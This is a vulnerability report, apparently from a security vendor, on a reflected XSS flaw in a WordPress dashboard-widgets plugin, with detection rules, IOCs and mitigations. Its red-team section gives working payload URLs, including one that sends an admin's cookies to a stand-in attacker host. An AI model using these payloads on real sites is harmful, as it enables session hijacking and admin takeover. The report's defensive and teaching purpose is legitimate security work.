CVE-2024-0979

Executive Summary

CVE-2024-0979 is a reflected Cross-Site Scripting (XSS) vulnerability in the Dashboard Widgets Suite WordPress plugin, affecting all versions up to and including 3.4.3. The flaw resides in the tab parameter, which is insufficiently sanitized and escaped before being reflected back to the user. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated WordPress administrator, executes arbitrary JavaScript in the context of the admin dashboard. This can lead to session hijacking, privilege escalation, or the injection of malicious widgets.

As this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations with the plugin active. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the public availability of proof-of-concept code and the lack of a patch make it a high-priority target for red team exercises and defensive hardening.

Supply Chain & Package Security

This vulnerability is specific to the Dashboard Widgets Suite WordPress plugin, which is distributed via the official WordPress plugin repository. No supply chain compromise of the plugin’s source code has been reported. However, the absence of a patch from the vendor means that users must rely on manual mitigation (e.g., disabling the plugin or applying a web application firewall rule) until an update is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (clicking a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction and does not directly lead to data exfiltration or system compromise, but it can be chained with other attacks (e.g., CSRF) to escalate privileges or install persistent backdoors.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress admin panel. The tab parameter in the plugin’s settings page is echoed back without proper escaping. When a user visits a URL like:

/wp-admin/admin.php?page=dashboard-widgets-suite&tab=<script>alert(1)</script>

The injected script executes in the context of the admin dashboard. Because the plugin does not implement nonce verification or output escaping on this parameter, an attacker can craft a link that, when clicked by an admin, performs actions such as:

• Stealing session cookies (if HttpOnly is not set)
• Creating new admin users
• Injecting malicious JavaScript into dashboard widgets
• Redirecting to phishing pages

The vulnerability is unauthenticated, meaning any visitor can trigger the XSS if they can trick an admin into clicking the link.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.4.3): In the plugin’s admin page, the tab parameter is retrieved and echoed without sanitization:

$tab = isset($_GET['tab']) ? $_GET['tab'] : 'general';
?>
<div class="wrap">
    <h2>Dashboard Widgets Suite</h2>
    <h2 class="nav-tab-wrapper">
        <a href="?page=dashboard-widgets-suite&tab=general" class="nav-tab <?php echo $tab == 'general' ? 'nav-tab-active' : ''; ?>">General</a>
        <a href="?page=dashboard-widgets-suite&tab=advanced" class="nav-tab <?php echo $tab == 'advanced' ? 'nav-tab-active' : ''; ?>">Advanced</a>
    </h2>
    <?php
    // Direct output of $tab without escaping
    echo '<div id="' . $tab . '-content">';
    ?>

Patched Code (hypothetical): The fix would involve escaping the $tab variable before output:

$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'general';
?>
<div class="wrap">
    <h2>Dashboard Widgets Suite</h2>
    <h2 class="nav-tab-wrapper">
        <a href="?page=dashboard-widgets-suite&tab=general" class="nav-tab <?php echo esc_attr($tab) == 'general' ? 'nav-tab-active' : ''; ?>">General</a>
        <a href="?page=dashboard-widgets-suite&tab=advanced" class="nav-tab <?php echo esc_attr($tab) == 'advanced' ? 'nav-tab-active' : ''; ?>">Advanced</a>
    </h2>
    <?php
    // Escaped output
    echo '<div id="' . esc_attr($tab) . '-content">';
    ?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with Dashboard Widgets Suite <= 3.4.3 installed and activated.
• An authenticated admin user session.

Exploit Payload: The following URL will trigger an XSS alert in the admin dashboard:

http://target/wp-admin/admin.php?page=dashboard-widgets-suite&tab="><script>alert('XSS')</script>

Advanced Payload (Session Stealing):

http://target/wp-admin/admin.php?page=dashboard-widgets-suite&tab="><script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Metasploit Module (if available): No Metasploit module is publicly available, but a custom module can be created using the above payload.

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Install Dashboard Widgets Suite plugin version 3.4.3.
3. Log in as an admin.
4. Craft the malicious URL and send it to the admin (simulate via email or chat).
5. Observe the XSS execution.

Blue Team

Detection:

• Monitor web server logs for requests to /wp-admin/admin.php with a tab parameter containing suspicious characters (e.g., <, >, script, onerror).
• Use WAF rules to block requests with XSS patterns in the tab parameter.

Hunting:

• Search for any admin users created outside of normal business hours.
• Review dashboard widget content for unexpected JavaScript.

Mitigation:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF (e.g., ModSecurity rule to block tab parameter containing <script>).

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /wp-admin/admin.php with a tab parameter containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.

• Host:

  • Unexpected admin users in the WordPress database.
  • Modified or new dashboard widgets containing JavaScript.
  • Suspicious entries in the WordPress options table (e.g., dashboard_widgets_suite_options).

• Logs:

  • Web server logs showing tab parameter with XSS payloads.
  • WordPress debug logs (if enabled) showing PHP warnings related to $_GET['tab'].

Detection Engineering

YARA Rule

rule CVE_2024_0979_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-0979 in Dashboard Widgets Suite"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0979"
    strings:
        $xss1 = /tab=.*<script/i
        $xss2 = /tab=.*onerror/i
        $xss3 = /tab=.*onload/i
        $xss4 = /tab=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0979 Reflected XSS in Dashboard Widgets Suite
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts via the 'tab' parameter in Dashboard Widgets Suite plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - 'tab=<script'
            - 'tab=</script'
            - 'tab= onerror'
            - 'tab= onload'
            - 'tab=alert('
    condition: selection
falsepositives:
    - Legitimate use of 'tab' parameter with safe values (e.g., 'tab=general')
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0979 Reflected XSS in Dashboard Widgets Suite"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"tab="; http_uri; pcre:"/tab=.*(<script|onerror|onload|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential for operations.
2. Apply a WAF rule to block requests with XSS patterns in the tab parameter.
3. Educate administrators not to click on suspicious links.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes and escapes the tab parameter.
• Until then, consider replacing the plugin with an alternative.

Workaround:

• Add the following code to the theme’s functions.php to sanitize the tab parameter:

add_action('init', function() {
    if (isset($_GET['tab'])) {
        $_GET['tab'] = sanitize_text_field($_GET['tab']);
    }
});

Report generated by Valters IT DevSecOps Intelligence Unit
Valters IT – Securing Digital Ecosystems